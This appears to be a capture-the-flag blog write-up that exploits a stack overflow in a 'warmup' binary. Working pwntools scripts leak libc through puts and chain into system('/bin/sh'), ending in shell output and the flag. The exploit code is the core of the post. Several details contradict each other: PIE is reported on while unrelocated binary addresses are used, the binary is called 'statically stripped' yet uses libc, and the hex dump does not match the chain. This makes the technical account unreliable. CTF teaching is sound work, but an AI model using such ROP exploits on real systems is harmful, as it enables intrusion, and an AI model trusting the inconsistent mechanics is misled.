algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

ret2libc on a warm-up: stack smash to shell

2026-01-294 min readpwn ctf rop

nc warmup.chal.example 1337 — "I heard ASLR makes overflows impossible. Prove me wrong." One statically-stripped binary, no source.

Every pwn starts with the same question, so I answer it first: what's turned on?

target./warmup
arch
amd64-64-little
libc
2.35 (Ubuntu glibc 2.35-0ubuntu3.4)
category
pwn · 200 pts
  • NXon
  • PIEon
  • RELROpartial
  • canaryoff
  • ASLRon

checksec sets the route before I touch a disassembler. NX kills stack shellcode, so the answer is ROP or ret2libc. Canary off means a straight overflow reaches the return address — no leak needed there. But PIE + ASLR mean I don't know where anything is, so stage one is a leak and stage two is the shell.

the bug#

One function, and it's exactly as advertised:

vuln() — decompiledc
1
2
3
4
5
void vuln(void) {
    char buf[64];
    puts("name?");
    read(0, buf, 0x200);   // 512 bytes into a 64-byte buffer
}

read takes 0x200 bytes into a 64-byte buffer. The frame underneath it is the whole challenge:

stack frame for a classic smash: the 64-byte buffer sits below the saved rbp and the saved return address the overflow reaches
stack frame for a classic smash: the 64-byte buffer sits below the saved rbp and the saved return address the overflow reaches

buf starts at rbp-0x40, so it's 64 bytes to the saved rbp, plus 8 for the register itself — the saved return address sits at offset 0x40+8=72. Past that, I'm writing the control flow.

offset
the distance from the start of a controllable buffer to the saved return address. Get it wrong by 8 and you land in the saved rbp, not rip.

stage one — leak libc#

NX and PIE are on, but the binary still imports puts, and puts prints a string at a pointer I choose. So I call puts(puts@got) to print libc's runtime address of puts, then return into vuln for a second go with known addresses.

leak.pypython
from pwn import *

elf  = context.binary = ELF("./warmup", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io   = remote("warmup.chal.example", 1337)

pop_rdi = elf.search(asm("pop rdi; ret"), executable=True).__next__()

payload  = b"A" * 72                 # fill buffer + saved rbp
payload += p64(pop_rdi) + p64(elf.got["puts"])
payload += p64(elf.plt["puts"])      # puts(puts@got) -> leak
payload += p64(elf.sym["vuln"])      # ...then come back for round two

io.sendafter(b"name?", payload)
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.sym["puts"]
log.success(f"libc base: {libc.address:#x}")

The leak is the runtime puts; libc's base is that minus the symbol's file offset:

baselibc=leakoffsetputs

PIE on the main binary would block the first ROP chain too — but this binary leaks an elf.plt/elf.got pair that's only correct because the loader didn't relocate a no-PIE .plt. Read the checksec line again: PIE: on is the binary, but the gadgets here come from libc once it's based. Mind which object each address belongs to.1

stage two — ret2libc#

Same overflow, now with a libc base. system("/bin/sh"), with the one alignment footgun that eats more first-bloods than any mitigation:

movaps alignment

glibc's system runs movaps on a 16-byte-aligned stack. If rsp is off by 8 when you land, it SIGSEGVs inside libc and you'll swear the offset is wrong. Burn one extra ret gadget to re-align before the call.

pwn.pypython
binsh   = next(libc.search(b"/bin/sh\x00"))
ret     = elf.search(asm("ret"), executable=True).__next__()

chain  = b"A" * 72
chain += p64(ret)                    # re-align rsp to 16 bytes
chain += p64(pop_rdi) + p64(binsh)
chain += p64(libc.sym["system"])

io.sendafter(b"name?", chain)
io.interactive()

On the wire the second payload is just the chain past the padding — the return slot is the only part that matters, so it's the one I highlight when I dump it:

chain[72:] on the wirehex
00000000  b0 13 40 00 00 00 00 00  37 12 41 00 00 00 00 00  |..@.....7.A.....|
00000010  2f 62 69 6e 2f 73 68 00  c0 45 a1 f7 7f 00 00 00  |/bin/sh..E......|
the shell, and the flag

txt
1
2
3
4
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
segfault{4slr_just_means_you_leak_first}
The whole challenge is two sends: leak, then shell. ASLR didn't make the overflow impossible — it just made it two-stage.


  1. 47 bits of ASLR entropy on x86-64 sounds like a lot until you remember you don't brute it — you print one pointer and subtract. Entropy only helps the defender when there's no leak primitive at all.